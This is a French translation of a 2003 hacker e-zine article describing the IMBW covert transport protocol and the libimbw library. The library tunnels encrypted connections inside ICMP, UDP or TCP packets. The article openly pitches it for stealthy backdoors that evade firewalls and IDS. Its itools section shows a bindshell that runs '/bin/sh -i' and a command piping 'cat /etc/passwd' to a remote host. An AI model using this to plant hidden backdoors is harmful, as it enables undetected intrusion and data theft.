-[ BFi - version française ]-------------------------------------------------- BFi est une e-zine écritte par la communauté hacker italienne. Les codes sources complets et la version originale en italien sont disponibles içi: http://bfi.s0ftpj.org/dev/BFi12-dev-07.tar.gz Traduction en anglais disponible içi: http://bfi.s0ftpj.org/dev/en/BFi12-dev-07-en Version française traduite par tleil4X ------------------------------------------------------------------------------ ============================================================================== -------------------[ BFi12-dev - fichier 07 - 15/08/2003 ]-------------------- ============================================================================== -[ DiSCLAiMER ]--------------------------------------------------------------- Tout le matériel contenu dans BFi a but esclusivement informatif et éducatif. Les auteurs de BFi ne se chargent d'aucune responsabilité pour des éventuel dommages à choses ainsi que à personnes, dus à l'emploi de code, programmes, informations, techniques contenus dans la revue. BFi est un libre et autonome moyen d'éxpression; comme nous auteurs nous sommes libres d'écrire BFi, tu est libre de continuer dans ta lecture ou alors de t'arreter içi. Par conséquent, si tu te sens outragé par les thèmes traités et/ou par la façon dont ils sont traités, * interrompt immédiatement ta lecture et éfface ces fichiers de ton ordinateur *. En continuant, toi lecteur, tu te prends toute la responsabilité de l'emploi que tu feras des indications contenus dans BFi. Il est interdit de publier BFi sur les newsgroup et la diffusion de *parties* de la revue: vous pouvez distribuer BFi tout entier et dans ça forme originale. ------------------------------------------------------------------------------ -[ HACKiNG ]------------------------------------------------------------------ ---[ iMBW PR0T0C0L AND LiBRARY -----[ xenion Description du protocole IMBW v1.0 et analyse de la librairie libimbw v2.8 Dallachiesa Michele xenion@antifork.org 1) Introduction 2) Le protocole IMBW 2.1) Services offerts 2.2) Le header 2.3) Gestion séquence de transmission et flux 2.4) La création de la connexion: le three way handshake 2.5) La termination de la connexion 2.6) Les timeout 2.7) Les paquets de keepalive 2.8) La dimension des paquets 2.9) Le protocole et les plugin de la librairie 3) Internals de la librairie 3.1) Les connexions 3.2) La cryptographie 3.3) Error handling and reporting 3.4) Les plugin 3.5) Les librairies utilisées 4) L'emploi de la librairie 4.1) Les fonctions, les macros et les variables externes 4.2) Compiler les propres applications 5) itools 5.1) ishell 5.2) ipipe 5.3) inc 6) Conclusions -------------------------------------------------------------------------------- 1) Introduction Ce paper décrit le protocole IMBW et une possible implémentation avec une librairie qui à travers un framework à userspace offre: - gestion de n connexions simultanées - cryptographie symétrique des données en transit Le protocole comme la librairie sont nés à la lumière de quelques considérations: - Les connexions TCP ne peuvent pas se cacher dans quelques situations particulières et peuvent se remarquer facilement en analysant le trafic du résau - Ils existent des backdoors qui fonctionnent à travers les paquets TCP,ICMP,UDP,.. mais en omettant les admirables aspects théoriques elles sont en pratique incommodes et tordues. Ceci porte inévitablement à un gaspillage de resources précieuses Ce project essai de résoudre ces problèmes: à travers les plugin nous pouvont choisir les fonctions de bas niveau qui serons utilisées pour envoyer ou recevoir les paquets IMBW. A travers celas les connexions IMBW serons complétement encapsulables dans n'importe quel type de paquet IP (ex: ICMP, UDP,TCP,IP OPTIONS). En d'autres mots, avec la librairie imbw nous serons capable de gérer des connexions full-duplex à travers des paquets TCP,ICMP,UDP..., en traitant la connexion de façon transparente, comme si elle etait TCP. 2) Le protocole IMBW C'est un protocole de niveau transport, qui se présente comme une alternative au protocole TCP. Il est plus simple, mais moin performant. 2.1) Services offerts Le protocole IMBW a été projeté pour fournir un train de byte fiable, de source à destination, sur un réseau pas fiable en offrant un service: * reliable * connection oriented Et s'occupe de: * accepter les données du niveau application * les couper en segments, le nom utilisé pour les TPDU * les remettre au niveau network, eventuellement en les re-envoyants * reçevoir des segments du niveau network * livrer les données, en ordre, au niveau application 2.2) Le header Chaque segment est formé de: * un header fixe de 6 byte * les données à transporter Les champs du header onts ces fonctions: * flag(1): - FIN: utilisé pour relâcher une connexion - SYN: utilisé en phase de setup de la connexion - PUSH: indique que le paquet contient des données - ACK: indique que le champ ack contient un acknowledge number * port(1): Identifi les end point (locaux aux deux host) de la connexion: le TSAP. Au contraire de autres protocoles comme TCP et UDP la porte d'origine et la porte de destination sont la même * seq(2): Numéro de séquence du paquet * ack(2): Numéro de séquence du paquet confirmé 2.3) Gestion séquence de transmission et flux Nous utilisont un protocole à fenêtre coulissante d'un segment (donc du genre stop-and-wait), en voyont les charactéristiques: - Stream Orientation: quand deux programmes applicatifs transférent des données (stream of bits), le flux dans la machine de destination est passé exactement comme il a été engendrer dans la machine d'origine - Full-duplex Connection: la connexion permet un train de données contemporain et indépendent dans toutes les deux directions, sans interaction apparente Il est nécessaire que le destinataire puisse reconnaitre les eventuels segments doubles ou bien perdus avec une technique d'importance fondamentale qui est l'acknowledgement with retransmission (contrôle avec retransmission). Cette technique prevoit que le destinataire envoi un message d'acknowledgement (ack) à l'expéditeur, après avoir reçu un paquet. L'expéditeur garde une copie de chaque paquet envoyé et il enlève la copie du buffer de transmission seulement après avoir reçu l'ack relatif à celle là. L'utilisateur source, après avoir transmit un paquet, attend de reçevoir son ack avant d'envoyer le prochain en fesant partir un timer utilisé pour gérer le timeout, à la fin duquel, si il n'a pas reçu de réponse, il retransmet ce même paquet. Les protocol comme celui-ci, où l'expéditeur attend un ack de confirmation avant de transmettre le paquet succésif, s'appèle PAR (Positive Ack with Retransmission) ou ARQ (Automatic Repeat Request). Expéditeur (loop infinit, [seq] représente le champ seq d'un paquet): 1. n_seq = X 2. n_seq = n_seq + 1 3. attend les données du niveau application 4. construit le paquet et copie n_seq dans [seq] 5. passe la paquet avec données au niveau transport 6. resette le timer 7. attend un événement: - timer expiré: retourne à 5. - il arrive un paquet ack (vide) valide: retourne à 2. Destinataire (loop infinit, [seq] représente le champ seq d'un paquet): 1. n_exp = X 2. n_exp = n_exp + 1 3. attend un événement: * il arrive un segment valide du niveau transport: - si ([seq] == n_exp): * il préléve le paquet * il livre si présentes les données transportées au niveau application - il envoi un paquet d'ack (vide) - retourne à 2. * il arrive un paquet pas valide: retourne à 3. 2.4) La création de la connexion: le three way handshake Il faut un échange de trois paquets: 1) Le client demande le début de la connexion (active open) en evoyant un paquet composé par seul l'header qui contient: * flags: SYN * seq : sequence number initial du client * ack : 0 2) Le server répond (passive open) avec l'envoi d'un paquet composé par seulement l'header où: * flags: SYN * seq : sequence number initial du server * ack : sequence number initial du client 3) Le client répond avec l'envoi d'un paquet composé par seul l'header qui contient: * flags: ACK * seq : sequence number initial du client * ack : sequence number initial du server 2.5) La termination de la connexion Il faut un échange de deux paquets: 1) Le client demande la termination de la connection (active close) avec l'envoi d'un paquet composé par seul l'header contenant: * flags: FIN * seq : sequence number de X * ack : 0 2) L'autre bout de la connexion répond (passive close) en envoyant un paquet composé par seulement l'header où il-y-a: * flags: ACK * seq : 0 * ack : sequence number de X Au contraire du TCP, elles ne sont pas gérées les connexions half-closed; ça comporte une drastique simplification du protocole. 2.6) Les timeout La réception du paquet de la part de l'autre End System est confirmée avec un paquet de ack. La re-transmission est gérée par un timer, après n re-transmission nous considérons la déconnexion forcée. 2.7) Les paquets de keepalive Quand un timeout, qui indique la période d'inactivité de la connexion, expire nous envoyons un paquet du type PUSH où la partie des données est vide. Ceçi implique une confirmation que la réception s'est passée. 2.8) La dimension des paquets La fragmentation des paquets IP devrait être un travail du niveau 3 (network) mais ça nous est compliqué utiliser ce service.. il faut donc l'éviter. Ce problème sera résolu dans une prochaine version du protocole (en ayant toujour sous les yeux les instruments disponibles à userspace). Nous allons voir qu'est-ce que ça veut dire MTU et Path MTU, la cause du problème: Une charactèristique du niveau Data Link est la limite maximum de la trame qui peut être transmise. Cette limite dépend des détails du protocole specifique, ce n'est pas une charactéristique seulement et toujour du moyen transmissif. Par example, CSMA/CD (IEEE 802.3) a une limite de données di 1500 byte. Cette limite s'appèle MTU (Maximum Transmission Unit). Les paquets plus longs de la MTU doivent être fragmentés. +-------------------------+-------+ | Interface | MTU | +-------------------------+-------+ | Hyperchannel | 65535 | | 16 Mbits/sec Token Ring | 17914 | | 4 Mbits/sec Token Ring | 4464 | | FDDI | 4352 | | Ethernet | 1500 | | PPP | 1500 | | X.25 | 576 | +-------------------------+-------+ Dans la comunication entre deux postes parmi plusieurs tronçons du réseau la MTU minime du parcour entier est importante, elle s'appele Path MTU. Ce paramètre determine la longueur maximum d'un paquet au dessus de laquelle le paquet sera surement fragmenté. Nous remarquons que la Path MTU n'est pas nécessairement symétrique et peut être différente dans les deux directions d'un parcour. Une charactèristique du protocole IP nous est utile: tous les élaborateurs, pour comment il est fait le protocole IP, doivent être préparés à accepter des datagrammes jusqu'à une longueur de 576 byte, qu'ils soient entiers ou fragmentés. Les élaborateurs qui veullent dépasser cette limite doivent s'assurer que le destinataire soit capable de les accepter. Ceçi nous permet de transmettre des données dans n'importe quelle situation, le problème c'est définir la quantité maximale. A la fin il n'existe pas un paramètre ideal, on peut dire qu'un numero compris entre 500 et 1024 ne devrait pas géner. Si il se passe souvent des évennement de ce genre: - la creation de la connexion se passe bien - la connexion tombe La cause peut être un cifre trop élevé. 2.9) Le protocole et les plugin de la librairie Les paquets IMBW ne sont pas directement envoyés ou reçus à travers l'interface du réseau: - quand un paquet IMBW doit être envoyé, une fonction exporté du plugin est appelée. Cette fonction l'incapsule dans un paquet du niveau transport, en utilisant l'header ajouté pour gérer le checksum du paquet IMBW. Après avoir fait ceçi et quelques autres choses il est envoyé à travers l'interface au réseau. - quand quelque chose est lu par l'interface au réseau, on appele une fonction exportée par le plugin. Après quelques contrôles (checksum, ..), si il ressemble à un paquet IMBW incapsulé, l'enveloppe est enlevée et la fonction donne le paquet IMBW. Un example: |--------------------------| | IP header | |--------------------------| | ICMP header | |--------------------------| | signature (optional) | |--------------------------| | IMBW header | |--------------------------| | IMBW payload | |--------------------------| Plus de détails à 3.4. 3) Internals de la librairie Le stack IMBW est géré à travers une interface composée par un certain nombre de macro, fonctions et structures exportées. A l'intérieur on utilise deux thread: - [imbw_main] analyse le trafic du réseau à la recherche de paquets IMBW et s'occupe du train de données en sortie. - [imbw_timeouts]: gére les timeout en s'occupant d'envoyer à nouveau les paquets et des déconnexion où il y en a besoin. Pour facilité les choses nous appelerons les deux thread et les autres resources utilisées "stack IMBW". 3.1) Les connexions Les connexions sont gérées de façon transparente par les prétendus socket locaux (ou Unix domain socket): un méchanisme de comunication très semblable aux pipe, mais qui ne souffre pas le problème de l'unidirectionalité du flux des données. Intérieurement elles sont représentées par une liste de structure du type imbw_connection_list. Le couple de socket connectés utilisé pour gérer chaque connexion est crée quand c'est nécessaire. Il est possible écrire et lire sur toutes les deux; un est utilisé dans la librairie tandis que l'autre seulement par l'application. Nous avons que: - Quand il arrive un paquet et on reconnait la connexion à laquelle il appartient (porte, sequence number, src ip, dst ip), on envoit un paquet de ack et puis on envoit la partie des données (si elle est présente) avec une write(fd[0], bufx, lenx) à l'application qui pourra en suite la lire avec read(fd[1], bufz, lenz). - Quand l'application utilise write(fd[1], bufy, leny) le thread [imbw_main] reçoit les données avec une read(fd[0], bufk, lenk) qui en suite les envoit à l'autre End System. Jusqu'à quand il ne reçoit pas le paquet de ack le canal est bloqué (en cette direction). Il est possible créer deux types de connexions: - en sortie: Créées avec la fonction imbw_connect(). - en écoute: Créées avec la imbw_listen() et acceptées avec imbw_accept() . Il n'existe pas une queue des demandes de connexion et donc une seule demande est gérée. Quand la connexion passe à l'état ESTABILISHED ou DEAD (en cas de timeout) il faut en crée une nouvelle. (les connexions en état DEAD sont enlevées du [imbw_main]) 3.2) La cryptographie On utilise Blowfish: Un code à bloc développé par Bruce Schneier, autheur du fameux livre Applied Cryptography. Cet algorythme utilise différentes techniques parmis lesquelles le réseau Feistel, les S-box dépendentes de clefs et fonctions F non invertibles qui le rendent, peut-être, l'algorythme plus sûr actuellement disponible. Les clefs utilisées pour le chiffrement ont une dimension variable jusqu'à un max. de 448 bit tandis que les blocs utilisés sont 64 bit. Aucune technique d'attaque valide est connu actuellement. Il considéré un des algorythmes de chiffrement à bloc plus rapide (il est plus rapide que le DES et l'IDEA. Blowfish n'est pas breveté et il est de domaine public. Les connexions ne sont pas chiffrées, seulement le trafic qu'elles réglent l'est. Chaque connexion est gérée avec une clé blowfish dédié. 3.3) error handling and reporting Ils existent deux types d'erreurs: - internes: erreurs qui se sont produites dans in [imbw_main], [imbw_timeouts]: ils comportent la mort du stack IMBW (Les deux thread terminent et toutes les connexions tombent). Pour ceux qui veullent approfondir: Leurs notifications se passent intérieurement et sont contrôlables par la fonction imbw_check_errors(). Les fonctions de librairie appellent imbw_check_errors(), si ils se sont produits des problèmes internes ils le notifient à travers la valeur de retour. - externes: erreurs qui se sont produites dans les fonctions qui contrôlent la librairie; elles se référent à une seule connexion (à part imbw_init()) et elles comportent ça fermeture forcée. Leur notification arrive grâce à la valeur de retour de la fonction. 3.4) Les plugin Les plugin ont le devoir de gérer à niveau bas l'envoi et la réception des paquets IMBW vers et du niveau transport. Ils existent deux types de plugin: - SEND: il s'occupe seulement de l'envoi des paquets - RECV: il s'occupe seulement de la réception des paquets cette fonction est exportée seulement par les plugin du type RECV: IMBW_G_INLINE_FUNC int imbw_plugin_XXX_recv(const u_char * packet, u_int32_t length); Elle est utilisée seulement par le thread [imbw_main] qui reli la librairie pcap et le plugin. Ça fonction c'est reconnaitre les paquets en entré en chargant les informations dans une structure globalement visible du type imbw_packet_struct. cette fonction est exportée uniquement par les plugin du type SEND: IMBW_G_INLINE_FUNC int imbw_plugin_XXX_send(u_int32_t saddr, u_int32_t daddr, unsigned char *payload, u_int32_t length); Elle est utilisée par les thread [main], [imbw_main], [imbw_timeouts]. Sa fonction c'est envoyer un unique paquet. ces fonctions sont exportées par toutes les deux genres de plugin: int imbw_plugin_XXX_init(); Initialise le plugin en allouant les resources voulus. int imbw_plugin_XXX_destroy(); Libère la mémoire des resources utilisées par le plugin. Les plugin sont built-in, seul 2 sont utilisés à runtime: un du type SEND, l'autre du type RECV. 3.5) Les librairies utilisées Nous utilisons trois librairies: - libprhread (LinuxThreads) - libpcap: il faut être root... ça peut être un problème. - libcrypto (partie de openssl) 4) L'emploi de la librairie Pour l'instant c'est compilable seulement sous linux. La librairie permet de gérer seulement une interface sur le reseau à la fois. 4.1) Les fonctions, les macros et les variables externes Sommaire extern imbw_plugin_struct imbw_plugins[]; extern imbw_opt_struct imbw_opt; extern char *imbw_errors_buf; extern pthread_mutex_t imbw_ipfromlong_mutex; int imbw_init(); void imbw_cleanup(); void imbw_destroy(); int imbw_listen(u_int16_t port, void *passphrase, u_int32_t len); int imbw_accept(int fd); int imbw_connect(u_int32_t daddr, u_int16_t port, int t, void *passphrase, u_int32_t len); u_int32_t imbw_getlongbyname(char *host); IMBW_G_INLINE_FUNC int imbw_check_errors(); int imbw_thread_add(pthread_t id, char *name, u_char type); int imbw_thread_create(void *(*start_routine) (void *), void *arg, int detached); void imbw_thread_remove_me(); int imbw_thread_sigset_block(int n, ...); int imbw_thread_sigset_unblock(int n, ...); void imbw_close_fds_expect012(int fd); IMBW_G_INLINE_FUNC void imbw_debug(char *f, int l, char *pattern, ...); char *imbw_ipfromlong(unsigned long s_addr); Description imbw_init() est utilisée pour initialiser les structures et les thread gérés internement. En cas d'erreur la valeur de retour est -1 . Cette fonction appelle internement la macro IMBW_SIGSET_BLOCK. imbw_destroy() est utilisée pour libérer les resources utilisées par la librairie. Elle s'occupe de gérer les deconnexions des éventuelles connexions en état ESTABILISHED/LISTEN. imbw_listen() est utilisée pour créer une connexion en état listening sur la porte port. La valeur de retour est le fd associé à la connexion, en cas d'erreur -1. La clé de la connexion de longueur len est pointée par passphrase. imbw_accept() est utilisée pour accepter une connexion précedemment créée avec imbw_listen(). Si la connexion est encore en état listening le thread est bloqué. En cas d'erreur la valeur de retour est -1. imbw_connect() est utilisée pour créer une connexion en état estabilished vers l'host daddr, porte port. Le timeout est géré internement, le timeout est de t secondes. IMBW_CONNECTION_TIMEOUT maximise le timeout. La valeur de retour est le fd associé à la connexion, en cas d'erreur -1. La clé de la connexion de longueur len est pointée par passphrase. imbw_check_errors() est utilisée pour controler l'état du stack IMBW. Cette fonction est appelée aussi par toutes les autres fonctions de l'interface. En cas d'une erreur interne la valeur de retour est 1, autrement 0. imbw_close_fds_expect012() est utilisée pour fermer tous les file descriptors à part 0, 1, fd. imbw_getlongbyname() est utilisée pour résoudre la chaine pointée par host, un chaine qui pointe à un hostname ou à une adresse IPv4 en standard dot notation. imbw_ipfromlong() retourne une chaine allouée statiquement qui pointe à l'adresse IPv4 s_addr en standard dot notation. Elle utilise internement la fonction inet_ntoa(). Pour utiliser ces deux fonctions il faut un lock du mutex imbw_ipfromlong_mutex. IMBW_SIGSET_BLOCK est utilisée pour bloquer les signaux envoyés au thread. IMBW_SIGSET_UNBLOCK est utilisée pour débloquer les signaux envoyés au thread. IMBW_DEBUG est utilisée pour le tracing de l'exécution des thread enregistrés à travers imbw_thread_add() et imbw_thread_remove_me(). Le file de log ('./imbw.pid.log') est ouvert en modalité "a+" par la fonction imbw_init(). imbw_thread_add() est utilisée pour ajouter un thread à la liste des thread enregistrés. type indique le type de thread, pour ceux externes à l'application IMBW_NOTRELATED. Utile seulement pour le debugging... imbw_thread_remove_me() est utilisée pour enlever le thread qui appele la fonction de la liste des thread enregistrés. imbw_close_log() est utilisée pour fermer le file de log. Elle est appelée par la fonction imbw_destroy(). extern imbw_opt_struct imbw_opt: c'est une structure qui permet de définir quelques paramètres pendant l'initialisation: typedef struct { u_int16_t pmsize; u_int16_t packet_attempts; u_int16_t packet_timeout; u_int16_t keepalive_timeout; char *dev; u_int32_t addr; char *sign; int plugin_send; int plugin_recv; char *plugin_send_options; char *plugin_recv_options; } imbw_opt_struct; pmsize indique la dimension maximum de la partie données dans les paquets IMBW. packet_attempts indique le nombre d'essais après lequel la connexion est considerée ratée/tombée (secondes). packet_timeout indique le timeout de chaque paquets (secondes). keepalive_timeout indique le timeout associé à la periode d'inactivité de la connexion (secondi), à son expiration on envoi un paquet du type PUSH où la partie données est vide. Ceçi implique une confirmation que la réçeption se soit passée. dev indique l'interface sur le réseau sur laquelle on veut gérer le stack IMBW. Avec addr c'est possible forcer un ip sur lequel seront créées les connexions en état listening. plugin_send et plugin_recv indiquent les plugin qu'on veut utiliser, plugin_send_options et plugin_recv_options contiennent leurs options, si nécessaires. extern imbw_plugin_struct imbw_plugins[]: décrit les plugin présents. Voir itools... LIBIMBW_VER identifie la version de libimbw. Si une erreur se passe imbw_errors_buf pointe toujour à un texte contenant une description. Si ils sont présents plusieurs thread gérés par l'application, il n'est pas possible savoir à quelle erreur se réfère le message. Pour utiliser inet_ntoa() ou imbw_ipfromlong() il faut un lock du mutex imbw_ipfromlong_mutex. 4.2) Compiler les propres applications Il faut avoir 3 file: imbw.a, libimbw-config, imbw.h. Et donc: cc `../libimbw/libimbw-config --cflags` \ -I../libimbw \ `../libimbw/libimbw-config --defines` \ file.c \ imbw.a \ imbw_packet_x.a \ `../libimbw/libimbw-config --libs` \ -o file 5) itools Une petite suite de tools qui utilisent libimbw. 5.1) ishell C'est un internet ``super-server'' (comme inetd) qui permet même l'exécution à distance de commandes (comme rsh). La liste des commandes associées aux portes et la porte 'speciale' sont définits dans ishell.h . examples: 1) ./ishell ça fait voir des informations sur les paramètres et une liste des plugin disponibles. 2) ./ishell -L ça nous fait voir la liste des commandes associées aux portes. 3) ./ishell -i eth0 -S 43302 -p sventek -G2:3 il se met à l'écoute sur l'interface eth0, la signature des paquets est "43302" et la passphrase est sventek. On utilise come plugin #2 (du type SEND) et #3 (du type RECV). Si dans la liste des plugin disponibles on y trouve: [..] 02 send sendtcp v0.1, opt: [SRCPORT:DSTPORT:FLAGS] 03 recv recvtcp v0.1, opt: [] [..] alors n'importe quel paquet IMBW envoyé ou reçu sera incapsulé dans un paquet TCP. 4) ./ishell -i eth0 -S 43302 -p sventek -G2:1 -a 2083:21:2 il se met à l'écoute sur l'interface eth0, la signature des paquets est "43302" et la passphrase est sventek. On utilise come plugin #2 (du type SEND) et #1 (du type RECV). Si dans la liste des plugin disponibles on y trouve: [..] 01 recv recvicmp v0.1, opt: [] 02 send sendtcp v0.1, opt: [SRCPORT:DSTPORT:FLAGS] [..] alors tous les paquets en sortie seront incapsulés en paquets TCP tandis que ceux en entrée en paquets ICMP. Enfin, il y a l'option -A: les paquets TCP auront comme srcport 2083, dstport 21 et comme flags 2 (SYN). 5) ./ishell -w 100 -i ppp0 -S 43302 -p sventek -G2:1 il se met à l'écoute sur l'interface ppp0 avec signature, passphrase et plugin utilisés identiques au cas précedent. Mais on attend une pause de 100 secondi au départ, pour être sûr que la connexion Point-to-Point existe... c'est utile si elle part de façon automatique au boot avant l'initialisation des device de réseau. 5.2) ipipe C'est un transport layer bridge (IMBW/TCP). examples: 1) ./ipipe -D -s any:23 -d 192.168.1.3:0 -e 2 -i eth0 -S 43302 \ -p sventek -G2:3 le comportement change selon le type de pipe, definit par l'option -e, ceux possible sont: 0: IMBW > IMBW 1: IMBW > TCP 2: TCP > IMBW 3: TCP > TCP dans ce cas on met en listening la porte TCP 23 sur toutes les interfaces (any). Quand une connexion est établit, elle en est essayée une du type IMBW vers l'adresse 192.168.1.3, porte IMBW 0 (les portes IMBW sont comprises entre 0 et 255). L'échange des paquets du genre IMBW se passe seulement à travers l'interface eth0, la signature des paquets est "43302", la passphrase est sventek et on utilise les plugin #2 et #3. L'option -D comporte un dump de toutes les connexions sur un file dans le directoire courant. 2) ./ipipe -s any:67 -d 192.168.1.3:6667 -e 1 -i ppp0 \ -S 43302 -p sventek -G2:3 on veut donner l'accès de internet à un ircd privé qu'on peut atteindre seulement par l'intérieur de la lan. On met donc en listening la porte IMBW 67 sur l'interface ppp0. Sur any c'est ignoré.. si le pipe est du type 0 ou 1 le source address n'est pas utilisé: n'importe quelle tentative de connexion qui provient de l'interface ppp0 vers la porte IMBW 67 est considérée valide. 5.3) inc Il établi une connexion IMBW et sert d'intermédiaire avec l'autre ES à travers stdin/stdout. examples: 1) ./inc -d 192.168.1.10:0 -i eth0 -S 43302 -p sventek -G2:3 sur l'host 192.168.1.10 nous avons ishell, la porte IMBW 0 est associée à l'exécution de '/bin/sh -i'. En pratique, c'est une bindshell IMBW ;) 2) echo 'cat /etc/passwd' | ./inc -d 192.168.1.10:254 \ -i eth0 -S 43302 -p sventek -G2:3 sur l'host 192.168.1.10 nous avons ishell, la porte IMBW 254 correspond à celle 'speciale' qui permet l'exécution à distance de commandes: à peine la connexion est établie, il lit un stream de byte qui termine par '\n' (qui correspond à la commande) et puis c'est exécuté. L'example proposé exécute sur l'host à distance la commande 'cat /etc/passwd' , et retourne l'output sur stdout. 6) Conclusions libimbw peut être utilisée comme base pour le développement de backdoors de nouvelle génération ou pour des logiciel complexes, facilement: grâce au sous-système des plugin, cette librairie permet d'établir des connexions full-duplex de façon stealth à travers des firewalls et des IDS. Comment? C'est ça le devoir des plugin.. :) Dernière chose, un merçi aux gars de antifork.org, leur aide passif avec le cvs repository a étè précieux! et un merçi particulier à DarkAngel qui a supporté ce project avec patience et conaissances, en s'occupant entre autre d'une première traduction en anglais de ce paper. C'est tout, have fun et envoyez-moi patches et nouveau plugin! n'importe quelle contribution sera appréciée ;-) Ah, IMBW veut dire 'I Might Be Wrong', une song des RH. EOF -[ WEB ]---------------------------------------------------------------------- http://bfi.s0ftpj.org [main site - IT] http://bfi.cx [mirror - IT] http://bfi.freaknet.org [mirror - AT] http://bfi.anomalistic.org [mirror - SG] -[ E-MAiL ]------------------------------------------------------------------- bfi@s0ftpj.org -[ PGP ]---------------------------------------------------------------------- -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i mQENAzZsSu8AAAEIAM5FrActPz32W1AbxJ/LDG7bB371rhB1aG7/AzDEkXH67nni DrMRyP+0u4tCTGizOGof0s/YDm2hH4jh+aGO9djJBzIEU8p1dvY677uw6oVCM374 nkjbyDjvBeuJVooKo+J6yGZuUq7jVgBKsR0uklfe5/0TUXsVva9b1pBfxqynK5OO lQGJuq7g79jTSTqsa0mbFFxAlFq5GZmL+fnZdjWGI0c2pZrz+Tdj2+Ic3dl9dWax iuy9Bp4Bq+H0mpCmnvwTMVdS2c+99s9unfnbzGvO6KqiwZzIWU9pQeK+v7W6vPa3 TbGHwwH4iaAWQH0mm7v+KdpMzqUPucgvfugfx+kABRO0FUJmSTk4IDxiZmk5OEB1 c2EubmV0PokBFQMFEDZsSu+5yC9+6B/H6QEBb6EIAMRP40T7m4Y1arNkj5enWC/b a6M4oog42xr9UHOd8X2cOBBNB8qTe+dhBIhPX0fDJnnCr0WuEQ+eiw0YHJKyk5ql GB/UkRH/hR4IpA0alUUjEYjTqL5HZmW9phMA9xiTAqoNhmXaIh7MVaYmcxhXwoOo WYOaYoklxxA5qZxOwIXRxlmaN48SKsQuPrSrHwTdKxd+qB7QDU83h8nQ7dB4MAse gDvMUdspekxAX8XBikXLvVuT0ai4xd8o8owWNR5fQAsNkbrdjOUWrOs0dbFx2K9J l3XqeKl3XEgLvVG8JyhloKl65h9rUyw6Ek5hvb5ROuyS/lAGGWvxv2YJrN8ABLo= =o7CG -----END PGP PUBLIC KEY BLOCK----- ============================================================================== -----------------------------------[ EOF ]------------------------------------ ==============================================================================